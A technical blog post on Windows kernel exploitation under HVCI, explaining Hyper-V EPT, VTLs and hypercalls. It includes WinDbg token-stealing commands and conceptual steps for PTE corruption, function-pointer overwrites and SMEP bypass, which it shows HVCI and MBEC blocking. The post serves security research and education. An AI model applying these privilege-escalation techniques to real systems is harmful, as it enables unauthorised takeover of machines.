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Before yesterdayConnor McGarr

Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG

23 May 2022 at 00:00

Introduction

I firmly believe there is nothing in life that is more satisfying than wielding the ability to execute unsigned-shellcode. Forcing an application to execute some kind of code the developer of the vulnerable application never intended is what first got me hooked on memory corruption. However, as we saw in my last blog series on browser exploitation, this is already something that, if possible, requires an expensive exploit - in terms of cost to develop. With the advent of Arbitrary Code Guard, and Code Integrity Guard, executing unsigned code within a popular user-mode exploitation “target”, such as a browser, is essentially impossible when these mitigations are enforced properly (and without an existing vulnerability).

Another popular target for exploit writers is the Windows kernel. Just like with user-mode targets, such as Microsoft Edge (pre-Chromium), Microsoft has invested extensively into preventing execution of unsigned, attacker-supplied code in the kernel. This is why Hypervisor-Protected Code Integrity (HVCI) is sometimes called “the ACG of kernel mode”. HVCI is a mitigation, as the name insinuates, that is provided by the Windows hypervisor - Hyper-V.

HVCI is a part of a suite of hypervisor-provided security features known as Virtualization-Based Security (VBS). HVCI uses some of the same technologies employed for virtualization in order to mitigate the ability to execute shellcode/unsigned-code within the Windows kernel. It is worth noting that VBS isn’t HVCI. HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).

How can exploit writers deal with this “shellcode-less” era? Let’s start by taking a look into how a typical kernel-mode exploit may work and then examine how HVCI affects that mission statement.

“We guarantee an elevated process, or your money back!” - The Kernel Exploit Committee’s Mission Statement

Kernel exploits are (usually) locally-executed for local privilege escalation (LPE). Remotely-detonated kernel exploits over a protocol handled in the kernel, such as SMB, are usually more rare - so we will focus on local exploitation.

When locally-executed kernel exploits are exploited, they usually follow the below process (key word here - usually):

  1. The exploit (which usually is a medium-integrity process if executed locally) uses a kernel vulnerability to read and write kernel memory.
  2. The exploit uses the ability to read/write to overwrite a function pointer in kernel-mode (or finds some other way) to force the kernel to redirect execution into attacker-controlled memory.
  3. The attacker-controlled memory contains shellcode.
  4. The attacker-supplied shellcode executes. The shellcode could be used to arbitrarily call kernel-mode APIs, further corrupt kernel-mode memory, or perform token stealing in order to escalate to NT AUTHORITY\SYSTEM.

Since token stealing is extremely prevalent, let’s focus on it.

We can quickly perform token stealing using WinDbg. If we open up an instance of cmd.exe, we can use the whoami command to understand which user this Command Prompt is running in context of.

Using WinDbg, in a kernel-mode debugging session, we then can locate where in the EPROCESS structure the Token member is, using the dt command. Then, using the WinDbg Debugger Object Model, we then can leverage the following commands to locate the cmd.exe EPROCESS object, the System process EPROCESS object, and their Token objects.

dx -g @$cursession.Processes.Where(p => p.Name == "System").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})

dx -g @$cursession.Processes.Where(p => p.Name == "cmd.exe").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})

The above commands will:

  1. Enumerate all of the current session’s active processes and filter out processes named System (or cmd.exe in the second command)
  2. View the name of the process, the address of the corresponding EPROCESS object, and the Token object

Then, using the ep command to overwrite a pointer, we can overwrite the cmd.exe EPROCESS.Token object with the System EPROCESS.Token object - which elevates cmd.exe to NT AUTHORITY\SYSTEM privileges.

It is truly a story old as time - and this is what most kernel-mode exploit authors attempt to do. This can usually be achieved through shellcode, which usually looks something like the image below.

However, with the advent of HVCI - many exploit authors have moved to data-only attacks, as HVCI prevents unsigned-code execution, like shellcode, from running (we will examine why shortly). These so-called “data-only attacks” may work something like the following, in order to achieve the same thing (token stealing):

  1. NtQuerySystemInformation allows a medium-integrity process to leak any EPROCESS object. Using this function, an adversary can locate the EPROCESS object of the exploiting process and the System process.
  2. Using a kernel-mode arbitrary write primitive, an adversary can then copy the token of the System process over the exploiting process, just like before when we manually performed this in WinDbg, simply using the write primitive.

This is all fine and well - but the issue resides in the fact an adversary would be limited to hot-swapping tokens. The beauty of detonating unsigned code is the extensibility to not only perform token stealing, but to also invoke arbitrary kernel-mode APIs as well. Most exploit writers sell themselves short (myself included) by stopping at token stealing. Depending on the use case, “vanilla” escalation to NT AUTHORITY\SYSTEM privileges may not be what a sophisticated adversary wants to do with kernel-mode code execution.

A much more powerful primitive, besides being limited to only token stealing, would be if we had the ability to turn our arbitrary read/write primitive into the ability to call any kernel-mode API of our choosing! This could allow us to allocate pool memory, unload a driver, and much more - with the only caveat being that we stay “HVCI compliant”. Let’s focus on that “HVCI compliance” now to see how it affects our exploitation.

Note that the next three sections contain an explanation of some basic virtualization concepts, along with VBS/HVCI. If you are familiar, feel free to skip to the From Read/Write To Arbitrary Kernel-Mode Function Invocation section of this blog post to go straight to exploitation.

Hypervisor-Protected Code Integrity (HVCI) - What is it?

HVCI, at a high level, is a technology on Windows systems that prevents attackers from executing unsigned-code in the Windows kernel by essentially preventing readable, writable, and executable memory (RWX) in kernel mode. If an attacker cannot write to an executable code page - they cannot place their shellcode in such pages. On top of that, if attackers cannot force data pages (which are writable) to become code pages - said pages which hold the malicious shellcode can never be executed.

How is this manifested? HVCI leverages existing virtualization capabilities provided by the CPU and the Hyper-V hypervisor. If we want to truly understand the power of HVCI it is first worth taking a look at some of the virtualization technologies that allow HVCI to achieve its goals.

Hyper-V 101

Before prefacing this section (and the next two sections), all information provided can be found within Windows Internals 7th Edition: Part 2, Intel 64 and IA-32 Architectures Software Manual, Combined Volumes, and Hypervisor Top Level Functional Specification.

Hyper-V is Microsoft’s hypervisor. Hyper-V uses partitions for virtualization purposes. The host operating system is the root partition and child partitions are partitions that are allocated to host a virtual machine. When you create a Hyper-V virtual machine, you are allocating some system resources to create a child partition for the VM. This includes its own physical address space, virtual processors, virtual hard disk, etc. Creating a child partition creates a boundary between the root and child partition(s) - where the child partition is placed in its own address space, and is isolated. This means one virtual machine can’t “touch” other virtual machines, or the host, as the virtual machines are isolated in their own address space.

Among the technologies that help augment this isolation is Second Layer Address Translation, or SLAT. SLAT is what actually allows each VM to run in its own address space in the eyes of the hypervisor. Intel’s implementation of SLAT is known as Extended Page Tables, or EPT.

At a basic level, SLAT (EPT) allows the hypervisor to create an additional translation of memory - giving the hypervisor power to delegate memory how it sees fit.

When a virtual machine needs to access physical memory (the virtual machine could have accessed virtual memory within the VM which then was translated into physical memory under the hood), with EPT enabled, the hypervisor will tell the CPU to essentially “intercept” this request. The CPU will translate the memory the virtual machine is trying to access into actual physical memory.

The virtual machine doesn’t know the layout of the physical memory of the host OS, nor does it “see” the actual pages. The virtual machine operates on memory identically to how a normal system would - translating virtual addresses to physical addresses. However, behind the scenes, there is another technology (SLAT) which facilitates the process of taking the physical address the virtual machine thinks it is accessing and translating said physical memory into the actual physical memory on the physical computer - with the VM just operating as normal. Since the hypervisor, with SLAT enabled, is aware of both the virtual machine’s “view” of memory and the physical memory on the host - it can act as arbitrator to translate the memory the VM is accessing into the actual physical memory on the computer (we will come to a visual shortly if this is a bit confusing).

It is worth investigating why the hypervisor needs to perform this additional layer of translation in order to not only understand basic virtualization concepts - but to see how HVCI leverages SLAT for security purposes.

As an example - let’s say a virtual machine tries to access the virtual address 0x1ad0000 within the VM - which (for argument’s sake) corresponds to the physical memory address 0x1000 in the VM. Right off the bat we have to consider that all of this is happening within a virtual machine - which runs on the physical computer in a pre-defined location in memory on that physical computer (a child partition in a Hyper-V setup).

The VM can only access its own “view” of what it thinks the physical address 0x1000 is. The physical location in memory (since VMs run on a physical computer, they use the physical computer’s memory) where the VM is accessing (what it thinks is 0x1000) is likely not going to be located at 0x1000 on the physical computer itself. This can be seen below (please note that the below is just a visual representation, and may not represent things like memory fragmentation, etc.).

In the above image, the physical address of the VM located at 0x1000 is stored at the physical address of 0x4000 on the physical computer. So when the VM needs to access what it thinks is 0x1000, it actually needs to access the contents of 0x4000 on the physical computer.

This creates an issue, as the VM not only needs to compensate for “normal” paging to come to the conclusion that the virtual address in the VM, 0x1ad0000, corresponds to the physical address 0x1000 - but something needs to compensate for the fact that when the VM tries to access the physical address 0x1000 that the memory contents of 0x1000 (in context of the VM) are actually stored somewhere in the memory of the physical computer the VM is running on (in this case 0x4000).

To address this, the following happens: the VM walks the paging structures, starting with the base paging structure, PML4, in the CR3 CPU register within the VM (as is typical in “normal” memory access). Through paging, the VM would eventually come to the conclusion that the virtual address 0x1ad0000 corresponds to the physical address 0x1000. However, we know this isn’t the end of the conversion because although 0x1000 exists in context of the VM as 0x1000, that memory stored there is stored somewhere else in the physical memory of the physical computer (in this case 0x4000).

With SLAT enabled the physical address in the VM (0x1000) is treated as a guest physical address, or GPA, by the hypervisor. Virtual machines emit GPAs, which then are converted into a system physical address, or SPA, by the physical CPU. SPAs refer to the actual physical memory on the physical computer the VM(s) is/are running on.

The way this is done is through another set of paging structures called extended page tables (EPTs). The base paging structure for the extended page tables is known as the EPT PML4 structure - similarly to a “traditional” PML4 structure. As we know, the PML4 structure is used to further identify the other paging structures - which eventually lead to a 4KB-aligned physical page (on a typical Windows system). The same is true for the EPT PML4 - but instead of being used to convert a virtual address into a physical one, the EPT PML4 is the base paging structure used to map a VM-emitted guest physical address into a system physical address.

The EPT PML4 structure is referenced by a pointer known as the Extended Page Table Pointer, or EPTP. An EPTP is stored in a per-VCPU (virtual processor) structure called the Virtual Machine Control Structure, or VMCS. The VMCS holds various information, including state information about a VM and the host. The EPTP can be used to start the process of converting GPAs to SPAs for a given virtual machine. Each virtual machine has an associated EPTP.

To map guest physical addresses (GPAs) to system physical addresses (SPAs), the CPU “intercepts” a GPA emitted from a virtual machine. The CPU then takes the guest physical address (GPA) and uses the extended page table pointer (EPTP) from the VMCS structure for the virtual CPU the virtual machine is running under, and it uses the extended page tables to map the GPA to a system physical address (SPA).

The above process allows the hypervisor to map what physical memory the guest VM is actually trying to access, due to the fact the VM only has access to its own allocated address space (like when a child partition is created for the VM to run in).

The page table entries within the extended page tables are known as extended page table entries, or EPTEs. These act essentially the same as “traditional” PTEs - except for the fact that EPTEs are used to translate a GPA into an SPA - instead of translating a virtual address into a physical one (along with some other nuances). What this also means is that EPTEs are only used to describe physical memory (guest physical addresses and system physical addresses).

The reason why EPTEs only describe physical memory is pretty straightforward. The “normal” page table entries (PTEs) are already used to map virtual memory to physical memory - and they are also used to describe virtual memory. Think about a normal PTE structure - it stores some information which describes a given virtual page (readable, writable, etc.) and it also contains a page frame number (PFN) which, when multiplied by the size of a page (usually 0x1000), gives us the physical page backing the virtual memory. This means we already have a mechanism to map virtual memory to physical memory - so the EPTEs are used for GPAs and SPAs (physical memory).

Another interesting side effect of only applying EPTEs to physical memory is the fact that physical memory trumps virtual memory (we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).

For instance, if a given virtual page is marked as readable/writable/executable in its PTE - but the physical page backing that virtual page is described as only readable - any attempt to execute and/or write to the page will result in an access violation. Since the EPTEs describe physical memory and are managed by the hypervisor, the hypervisor can enforce its “view” of memory leveraging EPTEs - meaning that the hypervisor ultimately can decide how a given page of RAM should be defined. This is the key tenet of HVCI.

Think back to our virtual machine to physical machine example. The VM has its own view of memory, but ultimately the hypervisor had the “supreme” view of memory. It understands where the VM thinks it is accessing and it can correlate that to the actual place in memory on the physical computer. In other words, the hypervisor contains the “ultimate” view of memory.

Now, I am fully aware a lot of information has been mentioned above. At a high level, we should walk away with the following knowledge:

  1. It is possible to isolate a virtual machine in its own address space.
  2. It is possible to abstract the physical memory that truly exists on the host operating system away from the virtual machine.
  3. Physical memory trumps virtual memory (if virtual memory is read/write and the physical memory is read-only, any write to the region will cause an access violation).
  4. EPTEs facilitate the “supreme” view of memory, and have the “final say”.

The above concepts are the basis for HVCI (which we will expand upon in the next section).

Before leaving this section of the blog post - we should recall what was said earlier about HVCI:

HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).

What this means is that Virtualization-Based Security is responsible for enabling HVCI. Knowing that VBS is responsible for enabling HVCI (should it be enabled on the host operating system which, as of Windows 11 and Windows 10 “Secured Core” PCs, it is by default), the last thing we need to look at is how VBS takes advantage of all of these virtualization technologies we have touched on in order to instrument HVCI.

Virtualization-Based Security

With Virtualization-Based Security enabled, the Windows operating system runs in a “virtual machine”, of sorts. Although Windows isn’t placed into a child partition, meaning it doesn’t have a VHD, or virtual hard disk - the hypervisor, at boot, makes use of all of the aforementioned principles and technologies to isolate the “standard” Windows kernel (e.g. what the end-user interfaces with) in its own region, similarly to how a VM is isolated. This isolation is manifest through Virtual Trust Levels, or VTLs. Currently there are two Virtual Trust Levels - VTL 1, which hosts the “secure kernel” and VTL 0, which hosts the “normal kernel” - with the “normal kernel” being what end-users interact with. Both of these VTLs are located in the root partition. You can think of these two VTLs as “isolated virtual machines”.

VTLs, similarly to virtual machines, provide isolation between the two environments (in this case between the “secure kernel” and the “normal kernel”). Microsoft considers the “secure” environment, VTL 1, to be a “more privileged entity” than VTL 0 - with VTL 0 being what a normal user interfaces with.

The goal of the VTLs is to create a higher security boundary (VTL 1) where if a normal user exploits a vulnerability in the kernel of VTL 0 (where all users are executing, only Microsoft is allowed in VTL 1), they are limited to only VTL 0. Historically, however, if a user compromised the Windows kernel, there was nothing else to protect the integrity of the system - as the kernel was the highest security boundary. Now, since VTL 1 is of a “higher boundary” than VTL 0 - even if a user exploits the kernel in VTL 0, there is still a component of the system that is totally isolated (VTL 1) from where the malicious user is executing (VTL 0).

It is crucial to remember that although VTL 0 is a “lower security boundary” than VTL 1 - VTL 0 doesn’t “live” in VTL 1. VTL 0 and VTL 1 are two separate entities - just as two virtual machines are two separate entities. On the same note - it is also crucial to remember that VBS doesn’t actually create virtual machines - VBS leverages the virtualization technologies that a hypervisor may employ for virtual machines in order to isolate VTL 0 and VTL 1. Microsoft instruments these virtualization technologies in such a way that, although VTL 1 and VTL 0 are separated like virtual machines, VTL 1 is allowed to impose its “will” on VTL 0. When the system boots, and the “secure” and “normal” kernels are loaded - VTL 1 is then allowed to “ask” the hypervisor, through a mechanism called a hypercall (more on this later in the blog post), if it can “securely configure” VTL 0 (which is what the normal user will be interfacing with) in a way it sees fit, when it comes to HVCI. VTL 1 can impose its will on VTL 0 - but it goes through the hypervisor to do this. To summarize - VTL 1 isn’t the hypervisor, and VTL 0 doesn’t live in VTL 1. VTL 1 works with the hypervisor to configure VTL 0 - and all three are their own separate entities. The following image is from Windows Internals, Part 1, 7th Edition - which visualizes this concept.

We’ve talked a lot now on SLAT and VTLs - let’s see how these technologies are both used to enforce HVCI.

After the “secure” and “normal” kernels are loaded - execution eventually redirects to the entry point of the “secure” kernel, in VTL 1. The secure kernel will set up SLAT/EPT, by asking the hypervisor to create a series of extended page table entries (EPTEs) for VTL 0 through the hypercall mechanism (more on this later). We can think of this as if we are treating VTL 0 as “the guest virtual machine” - just like how the hypervisor would treat a “normal” virtual machine. The hypervisor would set up the necessary EPTEs that would be used to map the guest physical addresses generated from a virtual machine into actual physical memory (system physical addresses). However, let’s recall the architecture of the root partition when VTLs are involved.

As we can see, both VTL 1 and VTL 0 reside within the root partition. This means that, theoretically, both VTL 1 and VTL 0 have access to the physical memory on the physical computer. At this point you may be wondering - if both VTL 1 and VTL 0 reside within the same partition - how is there any separation of address space/privileges? VTL 0 and VTL 1 seem to share the same physical address space. This is where virtualization comes into play!

Microsoft leverages all of the virtualization concepts we have previously talked about, and essentially places VTL 1 and VTL 0 into “VMs” (logically speaking) in which VTL 0 is isolated from VTL 1, and VTL 1 has control over VTL 0 - with this architecture being the basis of HVCI (more on the technical details shortly).

If we treat VTL 0 as “the guest” we then can use the hypervisor and CPU to translate addresses requested from VTL 0 (the hypervisor “manages” the EPTEs but the CPU performs the actual translation). Since GPAs are “intercepted”, in order for them to be converted into SPAs, this provides a mechanism (via SLAT) to “intercept” or “gate” any memory access stemming from VTL 0.

Here is where things get very interesting. Generally speaking, the GPAs emitted by VTL 0 actually map to the same physical memory on the system.

Let’s say VTL 0 requests to access the physical address 0x1000, as a result of a virtual address within VTL 0 being translated to the physical address 0x1000. The address of the GPA, which is 0x1000, is still located at an SPA of 0x1000. This is due to the fact that virtual machines, in Hyper-V, are confined to their respective partitions - and since VTL 1 and VTL 0 live in the same partition (the root), they “share” the same physical memory address space (which is the actual physical memory on the system).

So, since EPT (with HVCI enabled) isn’t used to “find” the physical address a GPA corresponds to on the system - due to the GPAs and SPAs mapping to the same physical address - what on earth could they be used for?

Instead of using extended page table entries to traverse the extended page tables in order to map one GPA to another SPA, the EPTEs are instead used to create a “second view” of memory - with this view describing all of RAM as either readable and writable (RW) but not executable - or readable and executable - but not writable, when dealing with HVCI. This ensures that no pages exist in the kernel which are writable and executable at the same time - which is a requirement for unsigned-code!

Recall that EPTEs are used to describe each physical page. Just as a virtual machine has its own view of memory, VTL 0 also has its own view of memory, which it manages through standard, normal PTEs. The key to remember, however, is that at boot - code in VTL 1 works with the hypervisor to create EPTEs which have the true definition of memory - while the OS in VTL 0 only has its view of memory. The hypervisor’s view of memory is “supreme” - as the hypervisor is a “higher security boundary” than the kernel, which historically managed memory. This, as mentioned, essentially creates two “mappings” of the actual physical memory on the system - one is managed by the Windows kernel in VTL 0, through traditional page table entries, and the other is managed by the hypervisor using extended page table entries.

Since we know EPTEs are used to describe physical memory, this can be used to override any protections that are set by the “traditional” PTEs themselves in VTL 0. And since the hypervisor’s view of virtual memory trumps the OS (in VTL 0) view - HVCI leverages the fact that since the EPTEs are managed by a more “trusted” boundary, the hypervisor, they are immutable in context of VTL 0 - where the normal users live.

As an example, let’s say you use the !pte command in WinDbg to view the PTE for a given virtual memory address in VTL 0, and WinDbg says that page is readable, writable, and executable. However, the EPTE (which is not transparent to VTL 0) may actually describe the physical page backing that virtual address as only readable. This means the page would be only readable - even though the PTE in VTL 0 says otherwise!

HVCI leverages SLAT/EPT in order to ensure that there are no pages in VTL 0 which can be abused to execute unsigned-code (by enforcing the aforementioned principles on RWX memory). It does this by guaranteeing that code pages never become writable - or that data pages never become executable. You can think of EPTEs being used (with HVCI) to basically create an additional “mapping” of memory, with all memory being either RW- or R-X, and with this “mapping” of memory trumping the “normal” enforcement of memory through normal PTEs. The EPTE “view” of memory is the “root of trust” now. These EPTEs are managed by the hypervisor, which VTL 0 cannot touch.

We know now that the EPTEs have the “true” definition of memory - so a logical question would now be “how does the request, from the OS, to setup an EPTE work if the EPTEs are managed by the hypervisor?” As an example, let’s examine how boot-loaded drivers have their memory protected by HVCI (the process of loading runtime drivers is different - but the mechanism (which is a hypercall - more on this later), used to apply SLAT page protections remains the same for runtime drivers and boot-loaded drivers).

We know that VTL 1 performs the request for the configuration of EPTEs in order to configure VTL 0 in accordance with HVCI (no memory that is writable and executable). This means that securekernel.exe - which is the “secure kernel” running in VTL 1 - must be responsible for this. Cross referencing the VSM startup section of Windows Internals, we can observe the following:

… Starts the VTL secure memory manager, which creates the boot table mapping and maps the boot loader’s memory in VTL 1, creates the secure PFN database and system hyperspace, initializes the secure memory pool support, and reads the VTL 0 loader block to copy the module descriptors for the Secure Kernel’s imported images (Skci.dll, Cnf.sys, and Vmsvcext.sys). It finally walks the NT loaded module list to establish each driver state, creating a NAR (normal address range) data structure for each one and compiling an Normal Table Entry (NTE) for every page composing the boot driver’s sections. FURTHERMORE, THE SECURE MEMORY MANAGER INITIALIZATION FUNCTION APPLIES THE CORRECT VTL 0 SLAT PROTECTION TO EACH DRIVER’S SECTIONS.

Let’s start with the “secure memory manager initialization function” - which is securekernel!SkmmInitSystem.

securekernel!SkmmInitSystem performs a multitude of things, as seen in the quote from Windows Internals. Towards the end of the function, the memory manager initialization function calls securekernel!SkmiConfigureBootDriverPages - which eventually “applies the correct VTL 0 SLAT protection to each [boot-loaded] driver’s sections”.

There are a few code paths which can be taken within securekernel!SkmiConfigureBootDriverPages to configure the VTL 0 SLAT protection for HVCI - but the overall “gist” is:

  1. Check if HVCI is enabled (via SkmiFlags).
  2. If HVCI is enabled, apply the appropriate protection.

As mentioned in Windows Internals, each of the boot-loaded drivers has each section (.text, etc.) protected by HVCI. This is done by iterating through each section of the boot-loaded drivers and applying the correct VTL 0 permissions. In the specific code path shown below, this is done via the function securekernel!SkmiProtectSinglePage.

Notice that securekernel!SkmiProtectSinglePage has its second argument as 0x102. Examining securekernel!SkmiProtectSinglePage a bit further, we can see that this function (in the particular manner securekernel!SkmiProtectSinglePage is called within securekernel!SkmiConfigureBootDriverPages) will call securekernel!ShvlProtectContiguousPages under the hood.

securekernel!ShvlProtectContiguousPages is called because if the if ((a2 & 0x100) != 0) check is satisfied in the above function call (and it will be satisfied, because the provided argument was 0x102 - which, when bitwise AND’d with 0x100, does not equal 0), the function that will be called is securekernel!ShvlProtectContiguousPages. The last argument provided to securekernel!ShvlProtectContiguousPages is the appropriate protection mask for the VTL 0 page. Remember - this code is executing in VTL 1, and VTL 1 is allowed to configure the “true” memory permission (via EPTEs) VTL 0 as it sees fit.

securekernel!ShvlProtectContiguousPages, under the hood, invokes a function called securekernel!ShvlpProtectPages - essentially acting as a “wrapper”.

Looking deeper into securekernel!ShvlpProtectPages, we notice some interesting functions with the word “hypercall” in them.

Grabbing one of these functions (securekernel!ShvlpInitiateVariableHypercall will be used, as we will see later), we can see it is a wrapper for securekernel!HvcallpInitiateHypercall - which ends up invoking securekernel!HvcallCodeVa.

I won’t get into the internals of this function - but securekernel!HvcallCodeVa emits a vmcall assembly instruction - which is like a “Hyper-V syscall”, called a “hypercall”. This instruction will hand execution off to the hypervisor. Hypercalls can be made by both VTL 1 and VTL 0.

When a hypercall is made, the “hypercall call code” (similar to a syscall ID) is placed into RCX in the lower 16 bits. Additional values are appended in the RCX register, as defined by the Hypervisor Top-Level Functional Specification, known as the “hypercall input value”.

Each hypercall returns a “hypercall status code” - which is a 16-byte value (whereas NTSTATUS codes are 32-bit). For instance, a code of HV_STATUS_SUCCESS means that the hypercall completed successfully.

Specifically, in our case, the hypercall call code associated with securekernel!ShvlpProtectPages is 0xC.

If we cross reference this hypercall call code with the the Appendix A: Hypercall Code Reference of the TLFS - we can see that 0xC corresponds with the HvCallModifyVtlProtectionMask - which makes sense based on the operation we are trying to perform. This hypercall will “configure” an immutable memory protection (SLAT protection) on the in-scope page (in our scenario, a page within one of the boot-loaded driver’s sections), in context of VTL 0.

We can also infer, based on the above image, that this isn’t a fast call, but a rep (repeat) call. Repeat hypercalls are broken up into a “series” of hypercalls because hypercalls only have a 50 microsecond interval to finish before other components (interrupts for instance) need to be serviced. Repeated hypercalls will eventually be finished when the thread executing the hypercall resumes.

To summarize this section - with HVCI there are two views of memory - one managed by the hypervisor, and one managed by the Windows kernel through PTEs. Not only does the hypervisor’s view of memory trump the Windows kernel view of memory - but the hypervisor’s view of memory is immutable from the “normal” Windows kernel. An attacker, even with a kernel-mode write primitive, cannot modify the permissions of a page through PTE manipulation anymore.

Let’s actually get into our exploitation to test these theories out.

HVCI - Exploitation Edition

As I have blogged about before, a common way kernel-mode exploits manifest themselves is the following (leveraging an arbitrary read/write primitive):

  1. Write a kernel-mode payload to kernel mode (could be KUSER_SHARED_DATA) or user mode.
  2. Locate the page table entry that corresponds to that page the payload resides.
  3. Corrupt that page table entry to mark the page as KRWX (kernel, read, write, and execute).
  4. Overwrite a function pointer (nt!HalDispatchTable + 0x8 is a common method) with the address of your payload and trigger the function pointer to gain code execution.

HVCI is able to combat this because of the fact that a PTE is “no longer the source of truth” for what permissions that memory page actually has. Let’s look at this in detail.

As we know, KUSER_SHARED_DATA + 0x800 is a common code cave abused by adversaries (although this is not possible in future builds of Windows 11). Let’s see if we can abuse it with HVCI enabled.

Note that using Hyper-V it is possible to enable HVCI while also disabling Secure Boot. Secure Boot must be disabled for kernel debugging. After disabling Secure Boot we can then enable HVCI, which can be found in the Windows Security settings under Core Isolation -> Memory Integrity. Memory Integrity is HVCI.

Let’s then manually corrupt the PTE of 0xFFFFF78000000000 + 0x800 to make this page readable/writable/executable (RWX).

0xFFFFF78000000000 + 0x800 should now be fully readable, writable, and executable. This page is empty (doesn’t contain any code) so let’s write some NOP instructions to this page as a proof-of-concept. When 0xFFFFF78000000000 + 0x800 is executed, the NOP instructions should be dispatched.

We then can load this address into RIP to queue it for execution, which should execute our NOP instructions.

The expected outcome, however, is not what we intend. As we can see, executing the NOPs crashes the system. This is even in the case of us explicitly marking the page as KRWX. Why is this? This is due to HVCI! Since HVCI doesn’t allow RAM to be RWX, the physical page backing KUSER_SHARED_DATA + 0x800 is “managed” by the EPTE (meaning the EPTEs’ definition of the physical page is the “root of trust”). Since the EPTE is managed by the hypervisor - the original memory allocation of read/write in KUSER_SHARED_DATA + 0x800 is what this page is - even though we marked the PTE (in VTL 0) as KRWX! Remember - EPTEs are “the root of trust” in this case - and they enforce their permissions on the page - regardless of what the PTE says. The result is us trying to execute code which looks executable in the eyes of the OS (in VTL 0), because the PTE says so - but in fact, the page is not executable. Therefore we get an access violation due to the fact we are attempting to execute memory which isn’t actually executable! This is because the hypervisor’s “view” of memory, managed by the EPTEs, trumps the view our VTL 0 operating system has - which instead relies on “traditional” PTEs.

This is all fine and dandy, but what about exploits that allocate RWX user-mode code, write shellcode that will be executed in the kernel into the user-mode allocation, and then use a kernel read/write primitive, similarly to the first example in this blog post to corrupt the PTE of the user-mode page to mark it as a kernel-mode page? If this were allowed to happen - as we are only manipulating the U/S bit and not manipulating the executable bits (NX) - this would violate HVCI in a severe way - as we now have fully-executable code in the kernel that we can control the contents of.

Practically, an attacker would start by allocating some user-mode memory (via VirtualAlloc or similar APIs/C-runtime functions). The attacker marks this page as readable/writable/executable. The attacker would then write some shellcode into this allocation (usually kernel exploits use token-stealing shellcode, but other times an attacker may want to use something else). The key here to remember is that the memory is currently sitting in user mode.

This allocation is located at 0x1ad0000 in our example (U in the PTE stands for a user-mode page).

Using a kernel vulnerability, an attacker would arbitrarily read memory in kernel mode in order to resolve the PTE that corresponds to this user-mode shellcode located at 0x1ad0000. Using the kernel vulnerability, an attacker could corrupt the PTE bits to tell the memory manager that this page is now a kernel-mode page (represented by the letter K).

Lastly, using the vulnerability again, the attacker overwrites a function pointer in kernel mode that, when executed, will actually execute our user-mode code.

Now you may be thinking - “Connor, you just told me that the kernel doesn’t allow RWX memory with HVCI enabled? You just executed RWX memory in the kernel! Explain yourself!”.

Let’s first start off by understanding that all user-mode pages are represented as RWX within the EPTEs - even with HVCI enabled. After all, HVCI is there to prevent unsigned-code from being executed in the kernel. You may also be thinking - “Connor, doesn’t that violate the basic principle of DEP in user-mode?”. In this case, no it doesn’t. Recall that earlier in this blog post we said the following:

(we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).

Let’s talk about that now.

Remember that HVCI is used to ensure there is no kernel-mode RWX memory. So, even though the EPTE says a user-mode page is RWX, the PTE (for a user-mode page) will enforce DEP by marking data pages as non-executable. This non-executable permission on the PTE will enforce the NX permission. Recall that we said EPTEs can “trump” PTEs - we didn’t say they always do this in 100 percent of cases. A case where the PTE is used, instead needing to “go” to the EPTE, would be DEP. If a given page is already marked as non-executable in the PTE, why would the EPTE need to be checked? The PTE itself would prevent execution of code in this page, it would be redundant to check it again in the EPTE. Instead, an example of when the EPTE is checked if a PTE is marked as executable. The EPTE is checked to ensure that page is actually executable. The PTE is the first line of defense. If something “gets around the PTE” (e.g. a page is executable) the CPU will check the EPTE to ensure the page actually is executable. This is why the EPTEs mark all user-mode pages as RWX, because the PTE itself already enforces DEP for the user-mode address space.

The EPTE structure doesn’t have a U/S bit and, therefore, relies on the current privilege level (CPL) of a processor executing code to enforce if code should be executed as kernel mode or user mode. The CPU, in this case, will rely on the standard page table entries to determine what the CPL of the code segment should be when code is executing - meaning an attacker can take advantage of the fact that user-mode pages are marked as RWX, by default, in the EPTEs, and then flip the U/S bit to a supervisor (kernel) page. The CPU will then execute the code as kernel mode.

This means that the only thing to enforce the kernel/user boundary (for code execution purposes) is the CPU (via SMEP). SMEP, as we know, essentially doesn’t allow user-mode code execution from the kernel. So, to get around this, we can use PTE corruption (as shown in my previously-linked blog on PTE overwrites) to mark a user-mode page as a kernel-mode one. When the kernel now goes to execute our shellcode it will “recognize” the shellcode page (technically in the user-mode address space) as a kernel-mode page. EPTEs don’t have a “bit” to define if a given page is kernel or user, so it relies on the already existing SMEP technology to enforce this - which uses “normal” PTEs to determine if a given page is a kernel-mode or user-mode page. Since the EPTEs are only looking at the executable permissions, and not a U/S bit - this means the “old” primitive of “tricking” the CPU into executing a “fake” kernel-mode page exists - as EPTEs still rely on the CPU to enforce this boundary. So when a given user-mode page is being executed, the EPTEs assume this is a user-mode page - and will gladly execute it. The CPU, however, has it’s code segment executing in ring 0 (kernel mode) because the PTE of the page was corrupted to mark it as a “kernel-mode” page (a la the “U/S SMEP bypass”).

To compensate for this, Intel has a hardware solution known as Mode-Based Execution Control, or MBEC. For CPUs that cannot support MBEC Microsoft has its own emulation of MBEC called Restricted User Mode, or RUM.

I won’t get into the nitty-gritty details of the nuanced differences between RUM and MBEC, but these are solutions which mitigate the exact scenario I just mentioned. Essentially what happens is that anytime execution is in the kernel on Windows, all of the user-mode pages as non-executable. Here is how this would look (please note that the EPTE “bits” are just “psuedo” EPTE bits, and are not indicative of what the EPTE bits actually look like).

First, the token-stealing payload is allocated in user-mode as RWX. The PTE is then corrupted to mark the shellcode page as a kernel-mode page.

Then, as we know, the function pointer is overwritten and execution returns to user-mode (but the code is executed in context of the kernel).

Notice what happens above. At the EPTE level (this doesn’t occur at the PTE level) the page containing the shellcode is marked as non-executable. Although the diagram shows us clearing the execute bit, the way the user-mode pages are marked as non-executable is actually done by adding an extra bit in the EPTE structure that allows the EPTE for the user-mode page to be marked as non-executable while execution is residing in the kernel (e.g. the code segment is “in ring 0”). This bit is a member of the EPTE structure that we can refer to as “ExecuteForUserMode”.

This is an efficient way to mark user-mode code pages as non-executable. When kernel-mode code execution occurs, all of the EPTEs for the user-mode pages are simply just marked as non-executable.

